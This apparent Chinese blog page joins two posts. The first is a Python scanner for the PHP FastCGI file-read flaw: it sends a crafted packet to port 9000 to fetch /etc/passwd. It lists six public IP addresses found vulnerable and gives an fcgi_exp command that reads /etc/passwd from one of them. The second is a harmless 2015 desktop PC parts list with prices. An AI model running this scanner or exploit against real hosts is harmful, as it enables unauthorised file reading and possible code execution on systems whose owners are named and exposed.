fastcgi文件读取漏洞python扫描脚本

fastcgi文件读取(代码执行)是个很老的漏洞,漏洞描述:  PHP FastCGI 的远程利用

利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。  下载上述文章中提到的:  fcgi_exp

协议细节其实我已不关心,只需要一个python的扫描脚本。于是拿wireshark抓了下GaRY的程序,写一小段代码。

外网暴露9000端口的机器自然是非常非常少的,但内网可就说不定了。

import socket
import sys

def test_fastcgi(ip):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
    sock.connect((ip, 9000))
    data = """
    01 01 00 01 00 08 00 00  00 01 00 00 00 00 00 00
    01 04 00 01 00 8f 01 00  0e 03 52 45 51 55 45 53 
    54 5f 4d 45 54 48 4f 44  47 45 54 0f 08 53 45 52 
    56 45 52 5f 50 52 4f 54  4f 43 4f 4c 48 54 54 50 
    2f 31 2e 31 0d 01 44 4f  43 55 4d 45 4e 54 5f 52
    4f 4f 54 2f 0b 09 52 45  4d 4f 54 45 5f 41 44 44
    52 31 32 37 2e 30 2e 30  2e 31 0f 0b 53 43 52 49 
    50 54 5f 46 49 4c 45 4e  41 4d 45 2f 65 74 63 2f 
    70 61 73 73 77 64 0f 10  53 45 52 56 45 52 5f 53
    4f 46 54 57 41 52 45 67  6f 20 2f 20 66 63 67 69
    63 6c 69 65 6e 74 20 00  01 04 00 01 00 00 00 00
    """
    data_s = ''
    for _ in data.split():
        data_s += chr(int(_,16))
    sock.send(data_s)
    try:
        ret = sock.recv(1024)
        if ret.find(':root:') > 0:
            print ret
            print '%s is vulnerable!' % ip
            return True
        else:
            return False
    except Exception, e:
        pass
            
    sock.close()


if __name__ == '__main__':
    if len(sys.argv) == 1:
        print sys.argv[0], '[ip]'
    else:
        test_fastcgi(sys.argv[1])

通过快速扫描9000端口,可以发现几个存在漏洞的机器:

110.164.68.137  is vul !
110.164.68.148  is vul !
110.164.68.149  is vul !
110.164.68.151  is vul !
110.164.68.154  is vul !
110.164.68.155  is vul !

fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd

fastcgi.exp

我的装机清单2015-6-10

每个人对台式机的定位和预期用途不同,硬件选择有差异。

我主要看重的是计算能力。

以下是我的装机清单,仅供参考:

1.  CPU:             英特尔(Intel) 酷睿i7-4790k 22纳米 Haswell全新架构盒装CPU处理器         ¥2110.57

2. 主板:          微星(MSI) Z97 GAMING 3主板 (Intel Z97/LGA 1150)                     ¥847.43

3. 内存条:      金士顿(Kingston)骇客神条 Savage系列 DDR3 2400 8GB台式机内存 * 2               ¥758.00

4. 硬盘:          三星(SAMSUNG)850 EVO系列 250G 2.5英寸 SATA-3固态硬盘(MZ-75E250B/CN)       ¥654.00

5. 机箱:          游戏悍将(Game Demon)刀锋特战标准黑装 机箱 非对称设计 支持240水冷           ¥194.19

6. 显示器:       戴尔(DELL)S2340L 23英寸宽屏IPS镜面超窄边框液晶显示器(带HDMI)     ¥990.00

7. 电源:           游戏悍将(Game Demon)魔尊GP550M特效版 电源 80plus白金牌 单路12V输出45A 模组设计     ¥353.81

8. CPU风扇:  酷冷至尊(CoolerMaster)暴雪T4 CPU散热器(多平台/4热管/PWM温控/静音风扇/附带硅脂)             主板赠送

9. 音箱:           戴尔(Dell) AX210 USB立体声音箱         DELL显示器赠送

以上价格是最终价格,已经使用了京东优惠券。  以上整机的价格大约是5900元

键盘是以前常厂商赠送的,鼠标是旧的,一条HDMI线是小连送的。

因为我不需要玩大型游戏,没有买额外的显卡。 不需要保存太多大文件,也没有买机械硬盘。

安装win 8.1,开机只需7秒左右。

鲁大师性能测试:

ludashi

一开始装机并不顺利,感谢小连帮我安装布线,排除故障。 在京东买了两根8G内存条,一开始还有一根点不亮,目前已经换货拿到了新的内存条。